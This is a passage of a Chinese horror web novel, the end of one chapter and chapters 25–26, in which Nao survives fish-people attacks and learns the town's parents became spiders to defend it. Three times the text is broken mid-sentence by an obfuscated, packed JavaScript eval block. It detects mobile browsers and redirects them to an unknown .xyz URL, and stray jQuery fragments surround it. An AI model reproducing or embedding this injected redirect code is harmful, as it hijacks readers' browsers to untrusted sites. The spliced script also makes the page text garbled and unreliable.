她来到窗前,居高临下地俯视着地上的那滩血渍,眉心逐渐蹙起。
奈绪下楼,推开门走到街道,下意识捂住鼻子,刺鼻的鱼腥味让她几欲干呕。
鱼人给干涸的土地带来了诡异的粘液,让土地变得泥泞。
奈绪深一脚浅一脚踩在泥中,脚每一次从泥中拔出,都会带出泥土与啵的一声,还有嘶嘶的声音。
不对。
这嘶嘶的声音,并非来自她陷在泥中的脚面。
有阴影罩住了她,嘶嘶声正来自她的头顶。
她缓缓抬头,听见身后由子声嘶力竭的大喊:“蜘蛛!”
视线上移,是一块破旧的铁招牌,招牌上方是一段青石墙壁,墙壁之上,正攀附着一只巨大的蜘蛛。
蜘蛛的肢体细长,绒毛细密,靠一截坚韧的细丝挂着,蜘蛛的中心部位是它的头,头发长而杂乱,头上蒙了一层细细的蛛网,但仍然能看清里面的人脸。
奈绪愣住了。
那是一张熟悉而温柔的脸,她每一次和姐姐去上学时,都是这张脸,笑着从门边探出,俏皮地冲她们摆摆手。
“好好上学,别和朋友吵架!”
“奈绪!你快要高考了,上课认真听,将来考去东京的大学!”
“你们两姐妹不要总是吵架,记得买点菜回家!”
泪水模糊了奈绪的双眼,她伸出手想去触碰,身后却伸来一双手将她紧紧禁锢,将她扯远。
奈绪抵抗着身后的手臂,她知道那是雄一,也知道雄一是为她好,可她的本能还是让她忍不住一边流泪一边大喊:“妈!妈!”
蜘蛛却像什么都没有听见一样,肢体晃动,很快沿着墙面爬走了。
眨眼间再也看不见踪影。
奈绪挣扎着摆脱,迅速后退几步到墙角,腿脚发软,由子急忙过来扶着她,话里也带着哭腔:“奈绪……妈妈她……”
一张纸在奈绪的激烈挣扎下,从口袋飘出,落到泥泞的地面上,雄一捡起,眼睛下意识瞄了一眼,面色有些不自然。
他将纸递给奈绪,奈绪小心擦干上面的泥巴,却没有直接将它揣进兜里,而是将它平展开来,正对着雄一。
雄一神色异样:“奈绪……你、你这是干什么?”
奈绪:“雄一,你来到镇子已经一年了,我们也做了一年的朋友了。”
“你的表情什么样,我会认不出来吗?你认识这张纸,更认识纸上的字。”
“不,我不知道。”雄一急忙拒绝。
“你知道。”奈绪明明站在墙角,没有雄一高大,却有一种天然的威势,步步逼近。
雄一在奈绪的眼神威压下,接连退了几步,却被奈绪一下抓住手臂,将他的袖子捋到最上端。
“这种绒毛已经长满了你的手臂,你的斑点也快长出来了。按理来说,变成蜘蛛后会有很长一段时间不想出门,你这几天却天天跟着我们出来,真是辛苦你了。”奈绪说。
“整个镇子的父母都变成了蜘蛛,如果这可以勉强解释为小镇镇民的诅咒,那你一个意外来到千鱼镇的人,一个刚刚成为父亲的人,也变成了蜘蛛,这就难以解释了。”
奈绪声音愈发阴冷:“除非,这是你们计划好的。你估计早就见过我父母了吧,你们都聊了些什么?这张纸上记的又是什么?”
由子拉住奈绪的手臂:“说不定,说不定这只是巧合呢?”
奈绪甩开由子,脸上带着怒气:“你们到底瞒了我什么?”
雄一:“我不知道。”
“你必须知道!”
“我不知道!”
“你还在骗我!”
雄一语气微顿,看着奈绪不达目的不罢休的样子,无奈摇摇头:“我不能告诉你,起码是现在不能告诉你,也许等一个合适的时机,我会把一切都说出来。”
奈绪见雄一执意不肯再说,冷脸带着由子重新返回海边。
海边,一些不够坚固的棚子被上岸的鱼人冲得七零八落,围绕海边建立的密密麻麻的棚子被簇拥的鱼人挤出几条宽敞的道路,鱼腥味密布。
鱼人吃掉了海岸上所有的尸体,奈绪不敢想这些鱼人中,有没有那些异化的人类,他们由人类变成了鱼人,连人的意识都丢失了,灵魂永远困在异变的躯体,求生不得求死不能。
奈绪和由子的棚子没被鱼人撞塌,奈绪将门口鱼人散布的粘液简单清扫后,就坐在桌前,点亮了所剩不多的蜡烛。
她拿出记录村子历史的笔记本,又拿出那张记载了奇怪符号的纸片,试图找出一些共同点。
直到一根短蜡烛快被烧尽,奈绪还是没能找到共同点,无奈的叹息过后,蜡烛熄灭了。
奈绪想将它们收起,手放在两张纸面时,却意外发现,这两样东西的纸面竟是相同的触感。
顾不上浪费,奈绪又捡出一根短蜡点上,在幽暗的烛光下,对着光线仔细辨认着两张纸的纹路。
纹路一致,粗糙程度一致,甚至连毛边都几近相同,奈绪将笔记本打开,用胳膊将两张纸的缝隙分开。
一次又一次。
直到她终于在笔记本两张纸的缝隙中,瞥见一小块未被撕下的断纸。
由子翻了个身,冲她嘟囔着:“奈绪……该睡觉了。”
“哦哦,马上。”
奈绪手指颤抖,拿着那张从父母房中捡来的纸,慢慢对上笔记本上的断纸,手指被火焰燎伤也不觉得痛。
对上了,对上了。
奈绪几乎惊叫出声,察觉到后急忙捂住嘴巴。
父母他们做的事,果然和镇子有关,只是到底是什么?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977574|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
身旁,由子已经酣睡,奈绪不好打搅,只能躺在床上,思考着父母的去向。
想着想着,便沉入了梦乡。
梦里,她还是那个只有五岁的小女孩,和姐姐互相打闹着。
在房外无边无际的郁金香田野玩够了,就光着脚跑回家,被父母一顿痛骂,直到电饭煲蒸好米饭,父母的训斥瞬间按了暂停键,父亲严厉的神色收敛:“先吃饭吧。”
那时候,千鱼镇还是一个人间福地,是每个镇民走出后都想回归的安乐乡,而不是现在这个无法逃出的人间炼狱。
她还在等待大钟的到来,等待一艘船的回归,载着他们一同走向新世界。
无论新世界再怎么虚假,无耻,市侩,总不会比现在更差了。
奈绪伸长脖子,站在梦里的山坡上眺望那一片平静的水面。
仁慈的神啊,请让我们离开这里吧。
似乎真有钟声敲响。
奈绪惊喜地睁开眼睛,却看见一把尖刀掉落,血迹顺着雪白的手臂滑落,地面洇湿一片。
奈绪神色木然,看向躺在床上的由子,由子面带微笑,因为失血过多,整张脸像雪一样白。
“由子!”奈绪尖叫,手忙脚乱翻找着柜子,翻出几节绷带,在靠近心脏的位置用力扎紧。
由子的手上遍生着坚硬的鳞片,奈绪的手指被割伤几道,伤痕累累。
血勉强止住了。
奈绪将头贴着由子的头,手按着由子的锁骨上方,直到确认那微弱的呼吸没有消失。
由子的脸像纸一样苍白而脆弱,看着她憔悴的模样,奈绪忍不住低声哽咽起来。
直到听到一声明显的呼吸,奈绪抬起头,看见由子长长的睫毛抬起,眼神脆弱而悲戚。
“奈绪……”由子声音微弱,“我今天看到了。”
奈绪心脏猛得一跳,仿佛跌进无底深渊,“看到什么?”
由子:“我马上就要异变了,我会害了你的。”
“不……我不要你走……”奈绪把脸埋在毯子中,声音闷闷的。
由子:“我现在只能死,如果留下来,你们都会危险。”
“姐姐,你不能死,我不允许你死。”
“那我就只有离开了。”
奈绪从毯子中抬起脑袋,在泪水中看着姐姐的脸:“可不可以不走?”
由子摇摇头,宠溺般摸了摸奈绪的头。
奈绪劝阻不成,眼睁睁看着姐姐开始收拾离开的东西,她几次抢过,姐姐只是在原地看着她,便让她慌了神。
“今天出月亮了。”由子声音幽幽。
她一只手绑着绷带,一只手提着一个小包,包里只放了一天的食物和水。
月光下,她的身影瘦得像竹竿,手臂,小腿都被银白色的鳞片覆盖,脖子上的鳃也初见形状,像一条又干又瘦的小鱼。
“奈绪,我走了啊。”由子说。
奈绪赤脚站在沙滩上,她没有回应由子的话,眼睁睁看着由子越走越远。
她会躲到一个角落,直到意识完全被吞噬,眼睁睁看着身体异变为鱼人,对镇民展开杀戮却无能为力。
真是永恒的折磨。
奈绪忽然抢跑几步,对着由子的背影大喊:
“由子,我一定会杀了你!”
“我一定会杀了你!”
“无论我在哪里,只要我见到你,我一定会杀了你!”
声嘶力竭,喊完这几句话后,奈绪的嗓子已经哑得不成样子。
隔着遥远的海滩,由子把抱着纱布的左手举起,喊道:
“多谢了,妹妹!”
25. 终声
海岸边,炙热的阳光遍洒,沙粒被太阳晒得干软。
浪花里,一群上身赤裸的人起伏着,他们在不断拍打的浪花中站稳身子,厚实的胳膊上肌肉虬结,正用力拖拽着一张巨大的铁网。
铁网呈长条形,质量良莠不齐,一群人把它从东头扯到西头,两段固定在坚硬的岩石上。
他们正在加固防鱼人的铁网。
奈绪带着龙太郎几人,刚从镇子上回来。
他们要尽量搜刮镇子上的所有铁制材料,来加固铁网,铁网坚固,能阻拦一部分鱼人的行动。
扛了一堆铁丝回到海岸,奈绪将铁丝放下,让其他人帮忙加固,自己走到棚子前,翻出柜子里的碘伏,用棉签蘸了,开始给自己上药。
铁丝不好弄,她手上划破不少伤口,不过新伤叠旧伤,奈绪也就逐渐习惯了。
“奈绪,那边在发武器,我给你拿了一把。”
龙太郎拎着两把尖锐的铁铲走来,神情严肃。
奈绪瞧着龙太郎的样子,脸上慢慢漾起笑容,龙太郎被奈绪突如其来的笑整得不住所措,尴尬地摸了摸脸。
“怎么了?”龙太郎慌张。
“哎呀老师,”奈绪伸手,径直将龙太郎的眼镜摘下。
奈绪晃着手中的眼镜:“好好的透明眼镜,快脏成墨镜了。”
将眼镜擦干净后,奈绪还给龙太郎,不经意道:“龙太郎老师,说起来,我还真有点好奇,之前在洪水中,你丢失的那个黑书包,里面到底放了些什么?”
龙太郎照例推推眼镜,“就是些小物件,私人物品,不过现在也派不上用场了。”
还是这样的结果,奈绪微微一笑,既然龙太郎几次都不肯说,她也就没必要再逼他了。
她接过龙太郎手中的铁铲,朝空中倏然挥去,一道凌厉的的气息掠过,迅速收住手。
奈绪感慨:“还是用铁铲舒服,比用木棒强多了。”
龙太郎拎着铁铲,往自己的棚中走去,奈绪的视线落在龙太郎背上,他瘦得肩胛骨突出,一把年纪的人了,还被困在千鱼镇苟活着。
自己也和他差不多。
奈绪回到空荡荡的棚屋,独自坐在床边,铁铲顺手靠在柜子上。
这是镇子陷入灾难一年后,奈绪第一次感到孤单。
她翻身躺在床上,连鞋子也没脱,迷迷糊糊地睡着了。
一声尖锐的口哨。
奈绪从梦中惊醒,大汗淋漓地坐起身,天气很热,衣服后背多了一圈湿渍。
翻身下床,拿起铁铲,奈绪掀开帘子冲了出去,与她一同冲出的,还有许许多多的镇民。
那声尖锐的口哨,是监视的人吹响的,为了保证他们的安全,镇子上轮班安排了监视者,负责监视海面的动静,一旦鱼人出水,口哨声就会响起。
果不其然,被月光照得明亮的海洋泛起诡异的浪花,异动从海面深处传来,海面上出现一颗颗崎岖不平的头颅,接着是它们布满细鳞的身体,脚蹼。
獠牙在口腔内以最大限度张开,伴随着舌头的蠕动而上下晃动,脖子上的鳃一鼓一鼓。
鱼人游到海岸边,正想上岸,却被铁网挡住,几只鱼人的鱼鳞被生了倒刺的铁网挂住,血肉淋漓,试图退却,呲喇一声,揪下来一块肉。
镇民看得欣喜,原本要逃跑的人群顿时停滞下来,奈绪离铁网较近,身旁两个胆大的男孩甚至拿着棍子朝铁网小步挪去,被奈绪抓住手臂一把扯回。
奈绪低低骂了一句,眼睁睁看着越来越多的鱼人出现在铁网前,它们都被铁网阻隔着,正用尽力气往岸上冲来,手臂前伸,坚硬的鱼鳞不断划着铁网。
奈绪神色不好,手握铁铲频频后退,凑热闹的人群却还在前挤,奈绪被挤得动弹不得,出去的道路被堵得水泄不通,忍不住大喊:
“快跑!别看了!”
人群不为所动,奈绪拼命往小镇的方向挤去:“铁网,铁网要支撑不住了!”
怒喊之下,呆愣的镇民如梦初醒,如潮水般往镇子涌去。
奈绪在拥挤的人群中迷失了方向,身后,鱼群腮部的鼓动声与人的呼吸搅在一起,铁网发出不堪重负的咯吱声。
铁网延缓了鱼人攻破的速度,但坚固程度不同的铁网,也造成了几处生锈损毁的铁网根本无法抵抗庞大鱼群的攻击。
一处缺口出现,被鱼群挤压,再也支撑不住,一处铁网的迸断迅速带动了另一处,紧接着,整条铁网如同河水决堤,接连断裂。
鱼人的步伐几乎不可阻挡,两个跑得慢的中年人怪叫着,被拖入鱼群,迸起一蓬血花。
面前三个人跑着跑着忽然停下脚步,奈绪一个趔趄撞了上去,却没有感受到人类的温暖,而是滑溜溜的鱼人腥气。
三人的头阴恻恻地转过来,头颅有些僵硬,紧接着,身体也极为不协调地调转,嘴巴微微勾起,凸起的嘴巴像是鱼吻,被大范围白色占据的眼睛,中心有一颗小小的黑点,正转动着落在奈绪脸上。
獠牙迅速张开,朝奈绪的头咬去!
腥臭的冷风扑来,奈绪腰身顿挫,避开獠牙,手却被旁边两只鱼人抓住,铁铲脱手,动弹不得。
呲——
血液四溅。
拉着奈绪的一只鱼手被砍断,龙太郎焦急而憔悴的面容从侧边闪过,眨眼间已又斩断了一条鱼手。
奈绪连忙从地上捡起铁铲,对准鱼人的肚子刺去,然后掉身跟着龙太郎逃跑。
倒地的鱼人被鱼潮淹没,奈绪与龙太郎的身后跟着一群黑压压的鱼人,他们奔跑在最前方。
如今,谁都可能异变为鱼人,为了保证自己的安全,人们不敢与他人共同躲藏,几乎每人挑了一间房子,迅速上锁行云流水。
奈绪和龙太郎沿街拍打着房门,连声大喊着:“我们没有异变!我们没有异变!”
第一只鱼人已经赶到,奈绪一铁铲削掉它半个头,龙太郎还在拍着房门,一直跑到第三条街,都没有人开门。
奈绪牙一咬,心一横,正想冲入鱼群厮杀,一扇小门却忽然打开。
一颗卷毛脑袋探了出来,似乎下定决心一般,那人将他们拉进房中。
铁门关上的瞬间,门上出现了两个明显的撞痕,许久后,门缝下的脚才离开。
奈绪与龙太郎胸膛剧烈起伏,肺部有血气上涌,重重咳了几声,才勉强站直身子。
“老师……”
熟悉的称呼,却并非是奈绪所喊,龙太郎抬起头,抹了一把被汗水打湿的眼角,试图从脑海中搜刮出眼前男子的样子,张了几次嘴却始终叫不出。
“你是……”龙太郎有些尴尬。
男子从口袋中拿出一副眼镜戴上,一脸期待地看着龙太郎。
龙太郎左看右看,还是没有认出。
男子个子很高,用手指比划一下:“我以前是比现在胖一些,脸更圆……”
奈绪噗嗤一笑:“老师,这是伊藤望啊!”
龙太郎这才恍然大悟:“你是那个常和友树在一起玩的人!”
伊藤望神情有些黯然:“我和友树已经很久没见了。”
三人皆是沉默不语,尴尬万分后迅速转变话题,寒暄片刻后,门外的鱼人散去,奈绪和龙太郎便向伊藤望告别,一同往海岸线走去。
与从前簇拥的人群相比,现在的镇民几乎都变得独来独往,人群分散,毕竟谁也不知道身边的好友什么时候会异化,他们不敢拿自己的性命去赌。
人群走得稀稀拉拉,拖了一大条长队,眼神麻木,避过地上的残肢断臂,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977575|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如同死尸般走着。
奈绪忽然止住脚步,龙太郎也跟着停下。
奈绪:“你先走吧,我先上山去我们家看一下。”
龙太郎皱眉:“去山上干什么?”
奈绪想起家门外那一小片土地,整个镇子寸草不生,只有那块土地培育出了一片青菜。
虽然血水冲击了镇子,也冲毁了不少建筑,但家在山坡上,说不定幸免于难。
而那片青菜地,尽管有极大的可能被雨水冲毁,但她还是想去试一试。
“我要去看看那片青菜地。”
奈绪沿着山坡向上走,其实她们家的山坡并不高,只是距离很长,她绕过几个弯后,在一片光秃秃的枝杈中,她瞥见了房屋的残影。
房屋被雨水冲垮了。
奈绪心如刀割,她已经提前做了心理准备,但亲眼看到这一幕时,还是有些承受不住。
脚步迟缓,慢慢往废墟走去,她曾经和姐姐一起住的房间,已经被压在废墟的最下方。
绕过房子的背面,一抹绿色映入眼帘。
奈绪神色平常,走了几步后,迟钝的脑子猛然清醒:
绿色!
她心脏咚咚跳,像一支出弦的弓箭一样冲出去,三步并作两步跑到那块草地前,最后整个人跌下来,跪在土地前。
手指颤抖,她抚摸着那片久违的绿色,激动得几乎要落下泪。
青菜上漂了几颗血珠,看来血水也曾漫延到这里,奈绪正高兴着,忽然瞧见菜地的另一侧,堆了一块黑色的不明物体。
奈绪蹑手蹑脚绕过菜地,手里铁铲高高扬起,唯恐是什么不明生物。
用力踢了一脚,软趴趴的,像是个书包,奈绪的双手才放下,这个书包看着有些眼熟,奈绪将铁铲放到一旁,伸手去拉拉链。
拉链生了锈,奈绪一咬牙,拉链断开,书包里的东西掉了不少出来,几乎全被血水浸湿了。
奈绪越看越眼熟,这才想起来这是龙太郎在洪流中丢失的书包。
那时,因为这个书包,她还曾怀疑过他。
奈绪将东西捡起,有一个干净水瓶,两件简单衣服,最多的就是一种纸片。
纸片脏污,一碰就碎,被血水浸得湿透,只能看清上面潦草的几个小字。
“奈……记者。”
“伊藤……医……”
“淳平,足球运动员。”
“老师一定会细心保管,等各位高考后发放给大家。”
奈绪看着脏污的纸片,回想起自己当时趴在桌子上费力想的画面,如同置身梦中,嘴角慢慢勾起微笑。
“难怪不肯说啊。”奈绪轻轻摇头,“那次出去,原来是为了拿这个,只可惜没什么用了。”
“老师教导我们要信守承诺,我们当时还笑老师是个爱说空话的人,原来老师真是这么做的。”
龙太郎在血水中拼命去抓这只书包的窘态仍历历在目。
“真是不要命了。”
奈绪笑着将脏污的书包抱紧,接着将蔬菜采摘干净。
她用铁锨在菜地上挖开一个深坑,将放满纸片的书包塞入地下,又用土填严实。
这是奈绪心中的希望之地,如今第一批希望收割了,当然要有新的希冀种下。
她找了个大袋子,将蔬菜兜着背在肩上,沿着小路行走。
她没有直接返回海边,而是沿着熟悉的道路,走过一个又一个山坡,直到一棵张牙舞爪的树木出现在眼前,地下是一块小小的坟包。
她从口袋里拿出一张残破的纸片,放在坟前。
奈绪:“喏,淳平,这是你的。”
奈绪走了几步,又折反回来,从大袋子里拿出一把青菜,放在坟前,绿色点缀着土黄色的坟包,生机盎然。
26. 结局
现在所有人,都惧怕着黑暗的降临。
每当黑暗的阴影占据千鱼镇上空,海水暴涨,人类异化程度加深,毁灭的势头不可阻挡。
从异化开始,人们便无法再对身边的朋友产生信任,曾经一个人黑夜异化,吞掉了朋友的半条胳膊,而被咬掉胳膊的那个人,很快便感染死去了。
此事一出,人心戚戚。
海岸边建立的密密麻麻的大棚不攻自溃,人们逃离了海岸,尽可能往山上的高处跑,宁愿在破旧的小屋里苟延残喘,也不敢再经受一次被鱼人追杀,被异化的朋友攻击的恐怖经历。
海岸上,曾经建立起的数百个棚子,如今都已搬空,只有几个人还住着。
黑夜又降临了。
海水翻涌起几层楼高的浪花,朝岸边汹涌澎湃地拍来。
海风劲吹着海面,传出恐怖的呜呜声,随时会面临鱼人上岸的危险。
在这种情况下还敢住在海边的,要么是不怕死的亡命之徒,要么是狗急跳墙依赖潮水冲上岸的食物来勉强果腹的普通人。
奈绪占了两样。
她并非不怕死,只是相对于无尽的黑暗,前路的迷茫,无人可说的孤独来说,死亡好像也不是那么恐怖的事情。
等鱼人上岸,能逃就逃,逃不了就死,不这样想,还能怎么做呢?
不过归根到底,奈绪还是有点想活,毕竟艰难支撑到了现在,突然死去,从什么角度看都是很亏本的事情。
奈绪和其他几人选择分散居住,不再采取从前那样一群人住在一起的方法,能活一个是一个。
海岸上几乎没有人了,目前剩下的,也不过就是她,右一,坐轮椅的刚志,以及其他几个时常饿昏过去的镇民。
奈绪在沙滩上翻找着食物,能吃的并不多,幸好现在海滩上的人少,不然更吃不上了。
她的鞋子穿了太久,鞋底子已经磨坏了,她用几根布条勉强绑在脚上,背着装了海鲜的背篓,往岸边走去。
捡了几根没有被海水浸湿的木头,镇子被封锁了一年,幸好打火机还能用,她打量着这个精致的金属打火机,慢慢烧灼着木柴一端。
暗红色的火光跳跃,奈绪将几根木柴堆在一起,将燃烧的木头丢进去,随后取下背篓,拿出铁铲和海鲜。
将几只小章鱼放到烧红的铁铲上烤熟,又等了片刻后,奈绪就吃了起来,淡淡的咸腥味,很难吃,奈绪还是吃干净了。
勉强填饱肚子后,奈绪看着逐渐熄灭的火堆,火光黯淡,照着奈绪的半边侧脸,她的脸部线条比从前锐利了许多,眼睛清澈明亮。
在火光下,奈绪将袖子捋了上去,手臂上平添了几道伤疤,被太阳晒得黝黑,但依旧肤色匀净,没有细纹。
奈绪低声骂了一句,心情说不上高兴,也谈不上难过。
干脆自己现在就异变得了。
也好过在千鱼镇里,受这永无尽头的折磨。
朦胧的月光下,海水波涛翻涌,从棚子边,晃晃悠悠站起一个人影。
人影僵硬而憔悴,腿瘦得像两根竹竿,头发长时间未剪,已经盖住了大半张脸。
奈绪远远看着那团模糊的黑影,眨眼间觉得有些熟悉。
“右一?”
右一没有说话,高而瘦的个子在月光下像传闻中的鬼影。
抱着一丝警惕,奈绪站起身后退几步,抄起铁铲:“右一?”
她刻意放大声音,可右一还是没有反应,奈绪看不清右一的表情,只觉得他行走姿势格外僵硬。
是不是,到时间了。
一个声音在奈绪耳中迅速掠过,右一的情况当初比由子好不了多少。
“右一!右一!”奈绪不想放弃最后的希望,仍侥幸地一遍一遍喊着他的名字,握着铁铲的手颤抖不止,差点将铁铲抖落,她忙用一只手按住。
右一身上的鱼腥味很重,他赤着脚,借着月光,奈绪终于看清楚了,他赤着脚,脚趾已经连成一片,成了鱼人的蹼。
他的嘴巴缓缓裂开,一排尖利的獠牙刺破嘴唇,裹挟着滴落的鲜血,在月光下十分瘆人。
没给任何反应的机会,右一朝奈绪扑来,手臂硬得像铁块,手指掐住奈绪的半边肩膀,獠牙又狠又急,刺破奈绪的皮肤!
就在瞬间,奈绪手握铁铲,一只手背在右一身后,朝右一的头颅猛挥!
当!
右一的后脑勺挨了极重的一下,但右一似浑然未觉,翻白的眼睛中出现了一颗黑色的圆点,瞪着奈绪的眼神生疏冷漠。
不过铁铲这一下,倒是交错的獠牙停滞了一秒,奈绪迅速错手,一脚蹬开,顾不上半边头皮发麻,手脚并用朝岸上跑去!
有血液顺着脸颊滑下,不用触碰,奈绪也知道自己半边脸都被染红了,她拔足狂奔,铁铲因为刚才的挣扎,已经掉在沙滩上,没有时间去捡。
浪涛汹涌,月光照耀的银色水面,一颗颗圆头在水中起伏着,直到第一只脚踏上海滩。
右一在身后紧紧追赶着,嘴部逐渐凸起,两颗眼珠也暴凸起来。
奈绪不时回头瞧着,一半心疼一半痛苦,在右一的身后,一大片鱼人如影随形。
小镇处处门户紧闭,月光将街道洒得明亮,奈绪从街头跑到街尾,腿早已虚脱,没了力气。
意识再也控制不住身体,奈绪扑通一下跪坐在地,脑子疲惫到极点,血液涌向大腿,但怎么站也站不起来了。
身后响起嘶嘶的声音,奈绪看到一片巨大的黑影罩住了自己,影子正投在面前,是一只巨大的蜘蛛。
眼前,右一与其他鱼人速度如风,眨眼已到眼前,獠牙上翻,就要再度咬下!
一束极细极韧的蛛丝从蜘蛛人口中喷出,缠住了右一的头。
右一的死鱼眼狂暴凸起,浑身的骨头都发出咯吱咯吱的扭曲声音,接着几乎是一瞬间,右一的脊椎骨整个错位,整个人被吊起,四肢也软趴趴垂下,没了呼吸。
鱼人没有被这突如其来的变故吓到,或者说,鱼人根本不具备思考的意识,它们的脚步甚至没有一丝停顿。
一只鱼人继续朝奈绪扑来,再度被扭断了脖子,悬挂在半空,腮部开合了几下后便没了动静。
“怎、怎么回事?”奈绪情急之下有些结巴,腿上渐渐回过劲来,她用力拍打,扶着墙慢慢站起来。
身后的嘶嘶声更大了,但她不敢回头,只是慢慢往后退去,悄然别过脸。
不只有一只蜘蛛。
奈绪看见自己身后,屋顶上,一只又一只的蜘蛛人从黑暗里游走,出现,四肢攀附着墙面,半吊在空中摇荡。
蛛丝蒙着的脸,被几根淡青色的血管贯穿,那是一张张奈绪曾经熟悉,现在却觉得极为陌生的脸。
鱼人还在进攻,几只蜘蛛已经快速攀过墙面,吐出蛛丝,与那些鱼人缠斗,蜘蛛没入鱼群中,溅起一蓬血花,但也扭断了几条鱼人的头。
蜘蛛人一波又一波地涌出,奈绪一边奔跑,一边在蜘蛛人中寻找父母的面庞,她怀中还藏着那张纸,那张镇子上所有父母都知情,但却没一个孩子知晓的纸。
她想明白了!
她想明白了!
她大口呼吸着,迎风流着眼泪。
镇子上的诅咒是天生的,而父母的异变却是自愿的,这是唯一能抵抗鱼人的办法,这是他们从一开始就安排好的!
她从怀中掏出已经被揉得发软的纸,看着上面的符号,数字,图案,三种模式渐渐重合,在泪光中变成一张写满镇子所有人名字的名单。
从蝗虫侵袭镇子过后,也许父母深夜不眠,就是在讨论这个计划,凭借他们的敏锐直觉,他们已经觉察出这是一个不可挽回的灾难。
只能通过牺牲多数人来保全少数人,否则他们必将全军覆没。
奈绪将它撕碎后扔向天空,看见极高的屋顶上,母亲的脸一闪而过,而父亲四肢扭曲地紧跟在她身后,没有看奈绪一眼,无意识地投入到与鱼人的战斗中。
这便是拯救的代价,将自己变为意识全无,再也认不出子女的怪物,而这种古怪的办法,恐怕是镇子一直以来就有的,所谓的敲钟,不过是一个障眼法,镇子从前之所以能化解灾难,一部分是因为灾害程度不高,另一方面则是一部分人主动选择异化,打退了进攻的鱼人。
所以才叫千鱼镇啊。
红色笼罩了大地。
奈绪抬头,银白色的月亮已被拢上一层紫红色的暗影,像血肉淋漓的眼珠子。
在从前鱼人袭击城镇时,这群蜘蛛从来没有出现过,只是有极少数在镇子中晃悠。
而今日,不仅鱼人上岸数量最多,蜘蛛人也全部出现。
这注定是一个不平凡的夜晚。
“当——”
钟声响起。
与此同时,奈绪看见街道上出现了细小的裂纹,从镇子中心开始,呈蜘蛛网向四面辐射,地面开始下陷。
镇民趴在玻璃窗前,一脸惊恐地看着街道上离奇的混战,以及撒遍镇子各处的红色月光,房子摇晃,他们都惊惶无比,从门缝中溜出来。
奈绪用尽全身力气,喊得弓起腰来:“钟声响了!钟声响了!船已经回来了!”
敲钟已经失去了任何意义,钟声与船是一体的,船消失,钟也消失,船作废,钟也被废弃。
如今钟声再度响起,说明船已经出现在海边!
有人冲出房门查看,却被地下碎裂的砖石吓了一跳,急忙喊起来:“镇子,千鱼镇要塌了!快跑啊!”
鱼人与蜘蛛正鏖战着,双方争斗不相上下,几十个残存的镇民从房子里溜出,争先恐后往海边跑去。
镇子从中心开始碎裂,奈绪看见远处的山坡上,一只巨大的蜘蛛径直朝着奈绪飞速跑来。
蜘蛛化的程度不是很高,脸上还未被淡青色的血管贯穿。
奈绪嘴唇抖动着,一张脸苍白无比,看着蜘蛛从背上卸下一个浑身用棉布裹着的孩子。
蜘蛛人看着地上撕碎的纸片,脸上泛起暗淡的苦笑,他蜘蛛化的身体缓缓爬行着,靠近了奈绪,他异化的程度在不断加深,说出的话断断续续而且模糊:
“奈绪……你都知道了……我……我……”
奈绪:“雄一……”
雄一的面容有些悲戚,眉毛还是很浓,他眼神里带着圣洁的怜悯。
奈绪心脏仿佛一次一次被尖刀贯穿,疼得她五官扭曲,她扶着腿慢慢矮下身子,听着一声一声的钟声,从海洋的那一侧不断飘来。
她直起身子,和雄一拥抱在一起,抚摸着雄一背后细软的绒毛,贴近他已经异化的耳朵,轻声说:“你放心吧,我会好好照顾夏美的。”
奈绪听到一声遗憾的叹息,她的身体被推开,雄一不舍地看了她一眼,异化的程度继续加深,他现在几乎说不出完整的话,从语气中依稀能分辨出几句话:
“快……走……”
雄一扭动着巨大的身躯,往鱼群的中心游走,奈绪弯下腰,将嚎啕大哭的夏美抱在怀中,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977576|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
轻声安抚着,地面碎裂的程度加深,她往海边跑去。
……
血月降临,黑夜永恒。
阳光并没有到来,红色的月光洒满了海面,
最后一灾,黑暗,降临。
月光一明一暗,奈绪看到红色的月亮上,有一团黑色的浓墨,浓墨汇聚,幻化成一颗眼珠。
眼珠转动,好奇而又戏谑地看着沙滩上奔跑的人类,像一只只拼命求生的蝼蚁。
蝼蚁们,游戏就要结束了,你们会活下来多少呢?
即便逃出了这个镇子,外面的世界也不过是一场又一场升级历练的游戏罢了,你们的命运不由自己掌控,只掌握在至高之神——命运的手中罢了。
眼珠转动着,欣赏着蝼蚁向船只逃窜的窘状。一只蝼蚁却停下脚步,仿佛感知到什么一样,缓缓抬起头,与血红的月亮对视,一直望向宇宙更邈远的角落。
眼珠转动停滞,木然看向这只弱小的蝼蚁,察觉到一点微妙的挑衅。
那样绝望悲伤而坚定的眼神,让神的内心都为之震悚。
眼珠化为一团浓墨,迅速弥散,悬在天上的,重新变成了那片薄薄的红色月亮。
奈绪收回眼神,她刚才被一股奇怪的力量感染,下意识望向天空。
